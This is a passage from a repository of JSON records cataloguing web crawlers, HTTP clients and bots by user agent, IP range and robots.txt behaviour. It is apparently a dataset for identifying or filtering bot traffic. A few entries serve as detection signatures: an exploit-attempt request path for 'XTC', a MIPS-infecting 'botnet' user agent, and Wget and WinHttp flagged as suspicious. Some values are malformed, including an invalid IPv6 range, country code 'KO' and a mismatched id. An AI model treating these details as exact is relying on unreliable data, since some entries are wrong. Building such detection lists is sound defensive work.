"last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["Spider2.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/SpiderLing.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "CZ", 5 | "description": "Linguistic research crawler.", 6 | "id": "SpiderLing", 7 | "known_cidrs": ["77.240.187.69/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; SpiderLing (a SPIDER for LINGustic research); +http://nlp.fi.muni.cz/projects/biwec/)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://nlp.fi.muni.cz/projects/biwec/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/SurdotlyBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "US", 5 | "description": "\"Safe browsing\" company.", 6 | "id": "SurdotlyBot", 7 | "known_cidrs": [ 8 | "3.84.225.48/32", 9 | "3.85.124.187/32", 10 | "18.212.215.221/32", 11 | "18.232.169.49/32", 12 | "18.234.65.58/32", 13 | "34.234.70.40/32", 14 | "52.6.80.58/32", 15 | "54.87.142.29/32", 16 | "54.152.99.65/32", 17 | "54.173.52.218/32", 18 | "54.236.21.134/32", 19 | "54.237.195.169/32" 20 | ], 21 | "last_updated": "2020-08-06", 22 | "robotstxt": { 23 | "downloads": false, 24 | "respects": false, 25 | "should": true 26 | }, 27 | "type": 2, 28 | "user_agents": [ 29 | "Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)" 30 | ], 31 | "website": { 32 | "reachable": true, 33 | "url": "http://sur.ly/bot.html" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /data/TelegramBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Bots running on the Telegram network.", 6 | "id": "TelegramBot", 7 | "known_cidrs": ["149.154.161.0/24"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["TelegramBot (like TwitterBot)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://telegram.org" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Testcrawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "Testcrawler", 7 | "known_cidrs": ["94.134.93.158/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["Testcrawler"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/The_Knowledge_AI.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "The Knowledge AI", 7 | "known_cidrs": [ 8 | "64.62.252.174/32", 9 | "66.160.140.179/32", 10 | "66.160.140.183/32", 11 | "66.160.140.188/32" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": true, 16 | "respects": true, 17 | "should": true 18 | }, 19 | "type": 99, 20 | "user_agents": ["The Knowledge AI"], 21 | "website": { 22 | "reachable": false, 23 | "url": "" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /data/Tiny_Tiny_RSS.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 9, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Tiny Tiny RSS is a free and open source web-based news feed (RSS/Atom) reader and aggregator.", 6 | "id": "Tiny Tiny RSS", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-22", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 1, 15 | "user_agents": ["Tiny Tiny RSS/18.8 (5f66f87) (http://tt-rss.org/)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://tt-rss.org/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/TprAdsTxtCrawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "IE", 5 | "description": "", 6 | "id": "TprAdsTxtCrawler", 7 | "known_cidrs": ["34.250.9.32/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["TprAdsTxtCrawler/1.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/TweetmemeBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Automated process expanding links mentioned in certain content.", 6 | "id": "TweetmemeBot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (TweetmemeBot/4.0; +http://datasift.com/bot.html) Gecko/20100101 Firefox/31.0" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://datasift.com/bot.html" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Twingly_Recon.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "SE", 5 | "description": "Social data mining company.", 6 | "id": "Twingly Recon", 7 | "known_cidrs": [ 8 | "46.246.64.21/32", 9 | "178.73.212.120/30", 10 | "178.73.212.124/32", 11 | "131:2a00:1a28:2101:1::16/128" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": true, 16 | "respects": true, 17 | "should": true 18 | }, 19 | "type": 2, 20 | "user_agents": [ 21 | "Mozilla/5.0 (compatible; Twingly Recon; twingly.com)", 22 | "Twingly Recon" 23 | ], 24 | "website": { 25 | "reachable": true, 26 | "url": "https://www.twingly.com" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /data/UniversalFeedParser.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Parse feeds in Python.", 6 | "id": "UniversalFeedParser", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "UniversalFeedParser/5.2.1 +https://code.google.com/p/feedparser/" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://github.com/kurtmckee/feedparser" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/UptimeRobot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "MT", 5 | "description": "The world's leading uptime monitoring service.", 6 | "id": "UptimeRobot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.uptimerobot.com/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/VelenPublicWebCrawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Business intelligence company.", 6 | "id": "VelenPublicWebCrawler", 7 | "known_cidrs": [ 8 | "35.206.154.90/32", 9 | "35.210.4.104/32", 10 | "35.210.53.213/32", 11 | "35.210.112.68/32", 12 | "35.210.207.166/32", 13 | "35.210.215.110/32", 14 | "35.210.220.237/32" 15 | ], 16 | "last_updated": "2020-08-06", 17 | "robotstxt": { 18 | "downloads": false, 19 | "respects": false, 20 | "should": true 21 | }, 22 | "type": 2, 23 | "user_agents": [ 24 | "Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)" 25 | ], 26 | "website": { 27 | "reachable": true, 28 | "url": "https://hunter.io/robot" 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /data/VsuSearchSpider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "", 6 | "id": "VsuSearchSpider", 7 | "known_cidrs": ["79.197.104.113/32", "93.238.192.91/32", "93.238.207.10/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["VsuSearchSpider/1.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/W3C_Validator.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Does not need to respect robots.txt since the request is always user-initiated.", 4 | "country": "US", 5 | "description": "W3C validation services.", 6 | "id": "W3C_Validator", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": ["W3C_Validator/1.3 http://validator.w3.org/services"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://validator.w3.org/services" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Wappalyzer.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "AU", 5 | "description": "\"Technographics\" data provider, uncovering technologies such as content management systems, customer relationship management, ecommerce platforms, advertising networks, marketing tools and analytics.", 6 | "id": "Wappalyzer", 7 | "known_cidrs": [ 8 | "15.206.2.37/32", 9 | "15.206.184.22/32", 10 | "15.206.190.234/32", 11 | "52.39.57.227/32" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": false, 16 | "respects": false, 17 | "should": true 18 | }, 19 | "type": 2, 20 | "user_agents": ["Mozilla/5.0 (compatible; Wappalyzer)"], 21 | "website": { 22 | "reachable": true, 23 | "url": "https://www.wappalyzer.com" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /data/Wget.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Usually up to no good unless you explicitly host downloads that are to be automatically retrieved.", 4 | "country": "ZZ", 5 | "description": "Free software package for retrieving files using HTTP, HTTPS, FTP and FTPS.", 6 | "id": "Wget", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "Wget/1.19.1 (darwin16.6.0)", 17 | "Wget/1.20 (mingw32)", 18 | "Wget/1.20.1 (linux-gnu)" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "https://www.gnu.org/software/wget/" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/Who_is_Bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "Apparently belongs to site who.is but it's unclear what it does.", 4 | "country": "US", 5 | "description": "", 6 | "id": "Who.is Bot", 7 | "known_cidrs": ["54.208.201.249/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["Who.is Bot"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://who.is" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/WinHttp.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Usually up to no good.", 4 | "country": "ZZ", 5 | "description": "Windows built-in HTTP library.", 6 | "id": "WinHttp", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/XTC.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "Automated attempt to compromize target system.", 6 | "http_requests": ["POST /cgi-bin/mainfunction.cgi HTTP/1.1"], 7 | "id": "XTC", 8 | "known_cidrs": [], 9 | "last_updated": "2020-08-06", 10 | "robotstxt": { 11 | "downloads": null, 12 | "respects": null, 13 | "should": null 14 | }, 15 | "type": 99, 16 | "user_agents": ["XTC"], 17 | "website": { 18 | "reachable": false, 19 | "url": "" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /data/Xenu_Link_Sleuth.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Desktop software. Should only be used on one's own site.", 4 | "country": "ZZ", 5 | "description": "Find broken links on web sites.", 6 | "id": "Xenu Link Sleuth", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 1, 15 | "user_agents": ["Xenu Link Sleuth/1.3.8"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://home.snafu.de/tilman/xenulink.html" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/YandexBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Downloads robots.txt but randomly ignores its directives.", 4 | "country": "RU", 5 | "description": "Major Russian search engine.", 6 | "id": "YandexBot", 7 | "known_cidrs": [ 8 | "5.45.203.0/24", 9 | "5.45.207.0/24", 10 | "5.255.251.1/32", 11 | "5.255.253.0/24", 12 | "37.9.113.0/24", 13 | "77.88.9.130/32", 14 | "77.88.9.134/32", 15 | "87.250.224.0/24", 16 | "87.250.233.66/32", 17 | "87.250.233.73/32", 18 | "87.250.244.125/32", 19 | "93.158.166.16/32", 20 | "93.158.167.129/32", 21 | "95.108.181.0/24", 22 | "95.108.213.0/24", 23 | "141.8.132.0/24", 24 | "141.8.141.0/24", 25 | "141.8.142.0/24", 26 | "141.8.183.0/24", 27 | "178.154.171.0/24", 28 | "178.154.200.0/24", 29 | "213.180.203.0/24", 30 | "2a02:6b8:c08:1007:0:492c:2623:0/128", 31 | "2a02:6b8:c08:a292:0:492c:2ba:0/128", 32 | "2a02:6b8:c09:22a4:0:492c:932b:0/128", 33 | "2a02:6b8:c0a:2ea8:0:492c:ac58:0/128", 34 | "2a02:6b8:c0b:6a8f:0:492c:3705:0/128", 35 | "2a02:6b8:c0c:1c11:0:492c:cf95:0/128", 36 | "2a02:6b8:c0c:200b:0:492c:84b2:0/128", 37 | "2a02:6b8:c0c:2b95:0:492c:b668:0/128", 38 | "2a02:6b8:c0c:4c97:0:492c:51c8:0/128", 39 | "2a02:6b8:c0c:58a8:0:492c:478d:0/128", 40 | "2a02:6b8:c0c:59ad:0:492c:5e77:0/128", 41 | "2a02:6b8:c0c:7322:0:492c:cf04:0/128", 42 | "2a02:6b8:c0c:7f8f:0:492c:b9ae:0/128", 43 | "2a02:6b8:c0c:8088:0:492c:b356:0/128", 44 | "2a02:6b8:c0c:b110:0:492c:e8a4:0/128", 45 | "2a02:6b8:c0f:491d:0:492c:1619:0/128", 46 | "2a02:6b8:c14:111c:0:492c:2986:0/128", 47 | "2a02:6b8:c14:111d:0:492c:bd37:0/128", 48 | "2a02:6b8:c14:519d:0:492c:5a45:0/128", 49 | "2a02:6b8:c1f:d90:0:492c:8108:0/128", 50 | "2a02:6b8:c1f:ea3:0:492c:e99f:0/128" 51 | ], 52 | "last_updated": "2020-08-06", 53 | "robotstxt": { 54 | "downloads": true, 55 | "respects": false, 56 | "should": true 57 | }, 58 | "type": 2, 59 | "user_agents": [ 60 | "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)", 61 | "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106" 62 | ], 63 | "website": { 64 | "reachable": true, 65 | "url": "http://yandex.com/bots" 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /data/YandexMobileBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Downloads robots.txt but sometimes ignores it.", 4 | "country": "RU", 5 | "description": "Major Russian search engine.", 6 | "id": "YandexMobileBot", 7 | "known_cidrs": [ 8 | "5.255.253.0/24", 9 | "37.9.113.0/24", 10 | "87.250.224.93/32", 11 | "95.108.181.0/24", 12 | "141.8.189.0/24", 13 | "178.154.171.0/24", 14 | "178.154.200.0/24", 15 | "213.180.203.0/24" 16 | ], 17 | "last_updated": "2020-08-06", 18 | "robotstxt": { 19 | "downloads": true, 20 | "respects": false, 21 | "should": true 22 | }, 23 | "type": 2, 24 | "user_agents": [ 25 | "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots)" 26 | ], 27 | "website": { 28 | "reachable": true, 29 | "url": "http://yandex.com/bots" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /data/Yeti.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "KO", 5 | "description": "Korean search engine Naver.", 6 | "id": "Yeti", 7 | "known_cidrs": [ 8 | "125.209.235.168/32", 9 | "125.209.235.174/32", 10 | "125.209.235.176/32", 11 | "125.209.235.180/31", 12 | "125.209.235.183/32", 13 | "125.209.235.185/32", 14 | "125.209.235.186/32" 15 | ], 16 | "last_updated": "2020-08-06", 17 | "robotstxt": { 18 | "downloads": true, 19 | "respects": true, 20 | "should": true 21 | }, 22 | "type": 2, 23 | "user_agents": ["Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)"], 24 | "website": { 25 | "reachable": true, 26 | "url": "http://naver.me/spd" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /data/ZoomBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "Website maked as unreachable because no information is to be found there.", 4 | "country": "", 5 | "description": "", 6 | "id": "ZoomBot", 7 | "known_cidrs": ["18.185.137.135/32"], 8 | "last_updated": "2020-09-27", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["ZoomBot (Linkbot 1.0 http://suite.seozoom.it/bot.html)"], 16 | "website": { 17 | "reachable": false, 18 | "url": "http://suite.seozoom.it/bot.html" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/ZoominfoBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Business intelligence company.", 6 | "id": "ZoominfoBot", 7 | "known_cidrs": [ 8 | "34.73.69.198/32", 9 | "34.73.94.212/32", 10 | "34.73.152.22/32", 11 | "34.73.181.154/32", 12 | "34.73.198.29/32", 13 | "34.74.57.169/32", 14 | "34.74.168.219/32", 15 | "35.185.12.219/32", 16 | "35.185.73.152/32", 17 | "35.185.99.180/32", 18 | "35.190.131.29/32", 19 | "35.190.145.166/32", 20 | "35.196.128.94/32", 21 | "35.196.152.97/32", 22 | "35.231.123.107/32", 23 | "35.231.213.33/32", 24 | "35.231.236.1/32", 25 | "35.237.144.204/32", 26 | "35.237.188.84/32", 27 | "35.243.144.198/32", 28 | "35.243.159.171/32", 29 | "35.243.159.255/32", 30 | "35.243.247.242/32", 31 | "104.196.15.82/32", 32 | "104.196.20.47/32" 33 | ], 34 | "last_updated": "2020-08-06", 35 | "robotstxt": { 36 | "downloads": true, 37 | "respects": true, 38 | "should": true 39 | }, 40 | "type": 2, 41 | "user_agents": ["ZoominfoBot (zoominfobot at zoominfo dot com)"], 42 | "website": { 43 | "reachable": true, 44 | "url": "https://www.zoominfo.com" 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /data/adidxbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "AdIdxBot is the crawler used by Bing Ads. AdIdxBot is responsible for crawling ads and following through to websites from those ads for quality control purposes. Same as Bingbot, AdIdxBot has both desktop and mobile variants.", 6 | "id": "bingbot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", 17 | "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", 18 | "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "http://www.bing.com/bingbot.htm" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/adscanner.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 2, 3 | "comments": "", 4 | "country": null, 5 | "description": "Advertising technology company.", 6 | "id": "adscanner", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)" 17 | ], 18 | "website": { 19 | "reachable": false, 20 | "url": "http://seocompany.store" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/adstxt_com.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 2, 3 | "comments": "Offer a complete dataset in exchange for your personal data.", 4 | "country": "US", 5 | "description": "Internet-wide crawl of ads.txt files.", 6 | "id": "adstxt.com", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["adstxt.com/1.2"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.adstxt.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/aiHitBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Company search engine.", 6 | "id": "aiHitBot", 7 | "known_cidrs": ["78.129.240.214/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; aiHitBot/2.9; +https://www.aihitdata.com/about)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.aihitdata.com/about" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/aiohttp.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Asynchronous HTTP Client/Server for asyncio and Python.", 6 | "id": "aiohttp", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Python/3.7 aiohttp/3.0.9"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://docs.aiohttp.org/en/stable/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/archive_org_bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 3, 3 | "comments": "Ignores robots.txt, because \"Over time we have observed that the robots.txt files that are geared toward search engine crawlers do not necessarily serve our archival purposes.\" (Source: https://blog.archive.org/2017/04/17/robots-txt-meant-for-search-engines-dont-work-well-for-web-archives)", 4 | "country": "US", 5 | "description": "Archive.org Wayback Machine crawler.", 6 | "id": "archive.org_bot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.archive.org/details/archive.org_bot" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/axios.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Promise based HTTP client for the browser and node.js.", 6 | "id": "axios", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["axios/0.19.0"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/axios/axios" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/bingbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "The Microsoft Bing search engine.", 6 | "id": "bingbot", 7 | "known_cidrs": [ 8 | "13.66.139.1/32", 9 | "13.77.138.186/32", 10 | "40.77.167.0/24", 11 | "73.169.246.233/32", 12 | "78.49.22.8/32", 13 | "131.107.159.187/32", 14 | "157.55.39.0/24", 15 | "207.46.13.0/24" 16 | ], 17 | "last_updated": "2020-08-06", 18 | "robotstxt": { 19 | "downloads": true, 20 | "respects": true, 21 | "should": true 22 | }, 23 | "type": 2, 24 | "user_agents": [ 25 | "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", 26 | "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 27 | ], 28 | "website": { 29 | "reachable": true, 30 | "url": "http://www.bing.com/bingbot.htm" 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /data/botnet.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "Malware trying to infect MIPS platforms.", 6 | "id": "botnet", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["botnet/2.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/chimebot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "All IPs appear to be AWS instances.", 4 | "country": "US", 5 | "description": "", 6 | "id": "chimebot", 7 | "known_cidrs": [ 8 | "3.83.188.44/32", 9 | "3.85.107.96/32", 10 | "3.85.169.146/32", 11 | "3.88.62.233/32", 12 | "3.89.87.221/32", 13 | "3.89.246.155/32", 14 | "3.90.208.130/32", 15 | "3.91.63.47/32", 16 | "3.91.134.145/32", 17 | "3.92.208.123/32", 18 | "3.93.167.158/32", 19 | "3.94.80.251/32", 20 | "3.95.37.181/32", 21 | "3.209.12.139/32", 22 | "3.215.135.75/32", 23 | "3.219.168.160/32", 24 | "3.228.16.67/32", 25 | "3.234.230.42/32", 26 | "3.235.67.237/32", 27 | "3.235.155.94/32", 28 | "3.236.42.30/32", 29 | "3.236.44.198/32", 30 | "3.236.86.236/32", 31 | "3.236.87.234/32", 32 | "3.236.149.205/32", 33 | "3.236.219.141/32", 34 | "3.237.91.239/32", 35 | "3.237.95.147/32", 36 | "3.237.179.231/32", 37 | "3.237.196.125/32", 38 | "18.204.2.173/32", 39 | "18.204.34.138/32", 40 | "18.207.176.28/32", 41 | "18.208.132.80/32", 42 | "18.214.36.12/32", 43 | "18.214.39.102/32", 44 | "18.232.130.242/32", 45 | "18.232.179.134/32", 46 | "18.232.184.181/32", 47 | "18.234.27.188/32", 48 | "18.234.70.162/32", 49 | "18.234.210.174/32", 50 | "34.204.10.87/32", 51 | "34.205.77.248/32", 52 | "34.226.202.110/32", 53 | "34.230.78.88/32", 54 | "34.231.147.54/32", 55 | "34.235.130.63/32", 56 | "34.236.36.237/32", 57 | "34.236.237.183/32", 58 | "34.239.149.197/32", 59 | "35.153.156.196/32", 60 | "35.171.146.128/32", 61 | "35.172.233.96/32", 62 | "35.173.36.90/32", 63 | "35.175.223.243/32", 64 | "35.175.242.152/32", 65 | "52.55.242.147/32", 66 | "52.87.215.26/32", 67 | "52.90.208.238/32", 68 | "52.201.178.21/32", 69 | "54.80.214.226/32", 70 | "54.81.204.160/32", 71 | "54.87.141.14/32", 72 | "54.90.230.87/32", 73 | "54.90.246.255/32", 74 | "54.144.85.77/32", 75 | "54.145.138.102/32", 76 | "54.147.0.127/32", 77 | "54.152.70.115/32", 78 | 